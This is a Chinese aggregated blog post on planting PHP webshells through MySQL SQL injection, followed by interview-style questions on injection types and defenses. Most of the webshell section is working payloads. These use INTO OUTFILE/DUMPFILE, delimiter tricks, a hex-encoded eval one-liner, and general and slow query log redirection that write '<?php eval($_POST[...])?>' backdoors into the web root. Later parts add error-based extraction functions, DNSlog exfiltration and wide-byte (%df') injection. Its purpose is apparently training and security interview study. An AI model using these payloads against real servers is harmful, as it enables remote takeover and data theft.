SQL注入写入文件方法(获取webshell)

Posted Goodric

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入写入文件方法(获取webshell)相关的知识,希望对你有一定的参考价值。

数据库写入文件条件

1、当前数据库用户为 root 权限 2、知道当前网站的绝对路径 3、secure_file_priv 的参数必须为空或目录地址 4、php的 GPC 为 off状态;(魔术引号,GET,POST,Cookie)
用 sqli-labs 测试 查看当前用户权限
Python sqlmap.py -u http://192.168.0.113/sqli-labs/Less-1/?id=1 --is-dba
写入文件,用到 outfile 和 dumpfile outfile:
1、 支持多行数据同时导出 2、 使用union联合查询时,要保证两侧查询的列数相同 3、 会在换行符制表符后面追加反斜杠 4、会在末尾追加换行
dumpfile:
1、 每次只能导出一行数据 2、 不会在换行符制表符后面追加反斜杠 3、 不会在末尾追加换行
使用into dumpfile这个函数来顺利写入二进制文件; 当然into outfile函数也可以写入二进制文件,只是最终无法生效罢了(追加的反斜杠会使二进制文件无法生效) 如果服务器端本身的查询语句,结果有多行,但是我们又想使用dump file,应该手动添加 limit 限制 联合查询尝试写入:
?id=-1' union select 1,2,'<?php phpinfo();?>' into outfile 'c:/1.php' --+ ?id=-1' union select 1,2,'<?php phpinfo();?>' into dumpfile 'c:/1.php' --+ #用十六进制数据 ?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "绝对路径"
无法联合查询时, 可以使用 fields terminated by lines terminated by 来写shell
?id=1 into outfile 'C:\\1.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23 ?id=1 INTO OUTFILE '物理路径' lines terminatedby (这里是WebShell)# ?id=1 INTO OUTFILE'物理路径'columns terminatedby (这里是WebShell)# ?id=1 INTO OUTFILE '物理路径' lines startingby (这里是WebShell)#
回显:
The mysql server is running with the --secure-file-priv option so it cannot execute this statement
mysql 5.6.34 版本以后  secure_file_priv  的值默认为NULL。 并且无法用 SQL 语句对其进行修改。 secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为空时,表示不对MySQL的导入|导出做限制。 指定了具体目录的值时,只能在此目录进行导入导出。 如果是null,表示MySQL不允许导入导出。
可以通过sql语句查看  secure_file_priv 的值 ,但是无法通过 sql 语句修改
show variables like '%secure_file_priv%';
必须在 mysql/my.ini 配置文件中修改  secure_file_priv 的值。 文件里没有这个参数,就手动加上 再次执行写入就成功了。 ———————— 那如果在 secure_file_priv 的值无法改变的情况下。 有没有其他方法绕过,得以写入文件?

基于日志写shell

适用场景:outfile被禁止,或者写入文件被拦截,没写权限 ,有root权限) 需要能够执行 sql 语句 查看日志配置。 看到有两个参数,一个是否开启,一个日志路径 show variables like '%general%'; 开启日志监测,默认关闭
set global general_log = on;
设置日志路径
set global general_log_file = 'C:\\\\phpstudy_pro\\\\WWW\\\\2.php';
执行完上面两条语句后, 执行 sql 查询语句
select '<?php phpinfo();?>';
所查询的语句 <?php phpinfo();?> 就会写入到日志记录文件 C:\\phpstudy_pro\\WWW\\2.php 中。 成功写入 ————————————

慢查询日志

只有当查询语句执行的时间要 超过系统默认的时间时,该语句才会被记入进慢查询日志。 一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。 #查看服务器默认时间值方式如下:
show global variables like '%long_query_time%';
看到设置为 10s 查询慢日志功能以及慢日志目录
show variables like '%slow_query_log%';
跟前面的正常日志写入一样的操作 开启慢日志功能
set global slow_query_log = 'ON';
设置慢日志路径
set global slow_query_file = 'D:/phpstury/www/shell.php';
写入shell
select '<?php eval($_REQUEST["a"]);?>' or sleep(11);
通常情况下执行 sql 语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的。 而前面的日志记录文件会记录大量数据,可能会影响我们写入的内容。 —————— 间接获取webshell,通过sql注入得到网站后台账户密码,加入后台再找文件上传功能点,进行文件上传

面试中常问的SQL注入题

SQL注入


SQL注入的原理和危害

1.攻击方式

对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句将恶意代码写入数据库,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。

2.漏洞原因

1.未审计的数据输入框
2.使用网址直接传递变量
3.未过滤的特殊字符
4.SQL 错误回显

3.漏洞利用

分为两类:危害数据库里的数据、直接危害到网站的权限(需要满足条件)

  1. 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
  2. 网页篡改:登陆后台后发布恶意内容
  3. 网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人
  4. 数据库被恶意操作:私自添加系统账号修改数据库数据。
  5. 服务器被远程控制:读写文件获取webshell,植入后门

4.如何防御

对于 SQL 注入,我们可以采取适当的预防措施来保护数据安全。下面是避免 SQL 注入的一些方法。
1.过滤输入内容,校验字符串
过滤输入内容就是在数据提交到数据库之前,就把用户输入中的不合法字符剔除掉。可以使用编程语言提供的处理函数或自己的处理函数来进行过滤,还可以使用正则表达式匹配安全的字符串。

如果值属于特定的类型或有具体的格式,那么在拼接 SQL 语句之前就要进行校验,验证其有效性。比如对于某个传入的值,如果可以确定是整型,则要判断它是否为整型,在浏览器端(客户端)和服务器端都需要进行验证。
2. 参数化查询(使用预编译语句)
参数化查询目前被视作是预防 SQL 注入攻击最有效的方法。参数化查询是指在设计与数据库连接并访问数据时,在需要填入数值或数据的地方,使用参数(Parameter)来给值。
MySQL 的参数格式是以“?”字符加上参数名称而成,如下所示:

UPDATE myTable SET c1 = ?c1, c2 = ?c2, c3 = ?c3 WHERE c4 = ?c4

在使用参数化查询的情况下,数据库服务器不会将参数的内容视为 SQL 语句的一部分来进行处理,而是在数据库完成 SQL 语句的编译之后,才套用参数运行。因此就算参数中含有破坏性的指令,也不会被数据库所运行。
3. 安全测试、安全审计
除了开发规范,还需要合适的工具来确保代码的安全。我们应该在开发过程中应对代码进行审查,在测试环节使用工具进行扫描,上线后定期扫描安全漏洞。通过多个环节的检查,一般是可以避免 SQL 注入的。

有些人认为存储过程可以避免 SQL 注入,存储过程在传统行业里用得比较多,对于权限的控制是有一定用处的,但如果存储过程用到了动态查询,拼接 SQL,一样会存在安全隐患。

下面是在开发过程中可以避免 SQL 注入的一些方法。
1. 避免使用动态SQL
避免将用户的输入数据直接放入 SQL 语句中,最好使用准备好的语句和参数化查询,这样更安全。
2. 不要将敏感数据保留在纯文本中
加密存储在数据库中的私有/机密数据,这样可以提供了另一级保护,以防攻击者成功地排出敏感数据。
3. 限制数据库权限和特权
将数据库用户的功能设置为最低要求;这将限制攻击者在设法获取访问权限时可以执行的操作。
4. 避免直接向用户显示数据库错误
攻击者可以使用这些错误消息来获取有关数据库的信息。
参考文献: http://c.biancheng.net/view/8283.html.

SQL注入有哪些类型

SQL注入根据注入点可以分为数值型注入字符型注入

根据注入方式可以分为联合注入,报错注入,布尔盲注,时间盲注,二次注入,堆叠注入,宽字节注入HTTP Header注入

根据注入的位置可以分为:GET数据注入(提交数据方式为GET,大多存在地址栏)、POST数据注入(提交数据方式为POST,大多存在输入框中)

其中HTTP Header注入又分 Referer注入 , Cookie注入User-agent注入

时间盲注又有一种替代方式,叫DNSlog注入,也叫带外注入

如何判断一个网站有SQL注入点

$id参数左右有数字型(无)、单引号、双引号、括号等方式组成闭合;

最为经典的单引号判断法: 在参数后面加上单引号,比如:

  http://xxx/abc.php?id=1'

如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

通常 Sql 注入漏洞分为 2 种类型:

1. 数字型

2. 字符型

数字型判断:
  当输入的参 x 为整型时,通常 123.php 中 Sql 语句类型大致如下: select * from <表名> where id = x 这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。

Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因如下: 当输入 and 1=1时,后台执行 Sql 语句:

  select * from <表名> where id = x and 1=1

没有语法错误且逻辑判断为正确,所以返回正常。

当输入 and 1=2时,后台执行 Sql 语句:

  select * from <表名> where id = x and 1=2

没有语法错误但是逻辑判断为假,所以返回错误。 我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:

  select * from <表名> where id = 'x and 1=1' select * from <表名> where id = 'x and 1=2'

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

字符型判断:
  当输入的参 x 为字符型时,通常 123.php 中 SQL 语句类型大致如下: select * from <表名> where id = ‘x’ 这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。

Url 地址中继续输入http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。同理

SQL注入中报错注入的函数有哪些

floor()函数:
利用rand()函数与group()函数的相互冲突

语法结构:username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,编写SQL语句)x from information_schema.tables group by x )a) and '1' = '1

extractvalue()函数:
语法结构:extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)))

concat中添加要查询的语句

updatexml()函数:
语法结构:and 1=(updatexml(1,concat(0x3a,(select user())),1))

exp()函数:
语法结构:and exp(~(select * from(select user())a))

若还想了解更多报错函数可以查看这篇文章: https://www.jianshu.com/p/bc35f8dd4f7c.

如何提高手工盲注的效率

我们通常会使用DNSlog注入,dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据。

DNSlog注入原理
首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

为什么要使用DNSlog注入
因为一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池。。

mysql的网站注入,5.0 以上和 5.0 以下有什么区别?

5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

5.0以下是多用户单操作,5.0以上是多用户多操做。

SQL注入如何获取Webshell

前提

1.MYSQL用secure_file_priv这个配置项来完成对数据导入导出的限制,
如果secure_file_priv=NULL,MYSQL服务会禁止导入和导出操作。
如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出
如果secure_file_priv="" ,MYSQL服务导入和导出不做限制
通过命令查看secure-file-priv的当前值,确定是否允许导入导出以及导出文件路径

2.MYSQL中root用户拥有所有权限,但写入webshell并不需要一定是root用户权限,比如数据库用户只要拥有FILE权限就可以执行select into outfile操作

3.当secure_file_priv文件导出路径与web目录路径重叠,写入webshell才可以被访问到
简单点说就是
1.select into outfile方法可用(允许导出文件)
2.我们需要知道网站所在的绝对路径(根目录,或则是根目录往下的目录都行)
3.我们要有足够的权限

union select写入

outfile方法是mysql提供的一个用来写入文件的函数,当我们可以控制输入的文件和文件的保存路径时,就可以达到传入webshell的目的。当我们可以使用union查询时,就可以构造一个如下的语句:

union select '<?php eval($_POST[cmd])?>' into outfile 'web目录';

分隔符写入

当union无法使用时,还可以利用分隔符写入:

?id=1 INTO OUTFILE '物理路径' lines terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' fields terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' columns terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' lines starting by (<?php eval($_POST[cmd])?>)#

log写入

新版本的mysql在my.ini中设置了导出文件的路径,无法再使用select into outfile来写入一句话木马,这时我们可以通过修改MySQL的log文件来获取webshell。

show variables like '%general%';                     #查看配置

set global general_log = on;                         #开启general log模式

set global general_log_file = '网站目录/shell.php';   #设置日志目录为shell地址

select '<?php eval($_POST[shell]);?>'                #写入shell

set global general_log=off;                          #关闭general log模式

然后就可以在网站目录下创建一个shell.php,里边有我们写入的一句话木马。

当然也可以通过sqlmap等工具来进行写入,但我将在后期写sqlmap工具使用相关文章上写出。
参考文献: https://www.csdn.net/tags/MtTaIg0sOTg5MTc2LWJsb2cO0O0O.html.

了解宽字节注入吗

什么是宽字节?
如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节

像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
英文默认占一个字节,中文占两个字节

什么是宽字节注入?
原理:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)

GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),例如%df和%5C会结合;GB2312是被GBK兼容的,它的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c

常见转义函数与配置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini中magic_quote_gpc的配置

宽字节注入条件
1.数据库为GBK编码
2.使用了转义函数,将、POGETST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \\ 进行转义
宽字节注入方式

root %df' or 1=1 #

原理:在GBK编码中,反斜杠的编码是%5c,在输入%df后,使得添加反斜杠后形成%df%5c,而%df%5c是繁体字“連”,单引号成功逃逸,爆出Mysql数据库的错误

以上是关于SQL注入写入文件方法(获取webshell)的主要内容,如果未能解决你的问题,请参考以下文章

MySQL注入点写入WebShell的几种方式

web安全:sql 注入

面试中常问的SQL注入题

SQLmap注入获取Webshell及系统权限研究

Sql 注入详解:宽字节注入+二次注入

新版mysql写入webshell(测试版本5.5.53)